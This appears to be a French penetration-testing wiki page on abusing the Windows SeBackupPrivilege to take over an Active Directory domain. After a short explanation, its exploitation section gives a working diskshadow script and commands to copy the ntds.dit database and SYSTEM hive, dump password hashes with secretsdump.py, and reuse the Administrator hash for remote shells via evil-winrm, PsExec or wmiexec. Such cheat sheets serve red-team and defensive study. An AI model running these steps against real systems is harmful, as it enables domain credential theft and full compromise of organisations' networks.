©️SeBackupPrivilege

Description

SeBackupPrivilege permet de sauvegarder des fichiers et répertoires en demandant à NTFS d'octroyer l'accès suivant à tous les fichiers ou répertoires, quel que soit le descripteur de sécurité présent. (utilise diskshadow)

  • READ_CONTROL

  • ACCESS_SYSTEM_SECURITY

  • FILE_GENERIC_READ

  • FILE_TRAVERSE

Lors de l'ouverture d'un fichier pour la sauvegarde, l'appelant doit spécifier l'indicateur FILE_FLAG_BACKUP_SEMANTICS. Autorise également l'accès correspondant aux clés de registre pour l'utilisation.

Qu'est ce que Diskshadow ?

Diskshadow.exe est un outil qui expose les fonctionnalités offertes par le service de cliché instantané des volumes (VSS). Par défaut, DiskShadow utilise un interpréteur de commandes interactif semblable à celui de DiskRAID ou diskpart. DiskShadow comprend également un mode scriptable.

ressource: https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/diskshadow

Le fichier ntds.dit ne peut pas être copié directement à partir du chemin. Parce que lorsqu'un fichier est en utilisé alors il n'est pas possible de le copier. Par conséquent, nous utilisons diskshadow qui nous aide à créer une copie d'un lecteur (C:) actuellement utilisé. Et, à partir du clone du lecteur, nous pouvons copier le fichier ntds.dit.

Exploitation

Créer un fichier "ine.txt" et définir les instructions pour copier le lecteur C:\ dans le lecteur E: avec un alias.

“”
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias ineX
createX
expose %ine% E:X
end backupX
“”

Ensuite, convertir le fichier .txt au format Unix avec dos2unix par exemple (dos2unix ine.txt)

Placer le fichier créé dans la machine cible puis entrer les commandes suivantes:

  1. diskshadow /s ine.txt

  2. robocopy /b e:\windows\ntds . ntds.dit

robocopy est un équivalent de "cp".

Ensuite, récupérer le fichier système des registres avec la commande:

reg save hklm\system c:\path\to\save\copy

L'étape suivante consiste à extraire ce fichier vers la machine attaquant pour pouvoir en extraire les hash. Pour cela on va utiliser secretdump.py de la suite impacket.

$ secretsdump.py -ntds /root/ntds.dit -system /root/system LOCAL

Une fois les hash extraits, on peut alors utiliser le hash du compte Administrateur récupéré pour obtenir un shell avec evil-winrm, PsExec ou encore wmiexec.

Dernière mise à jour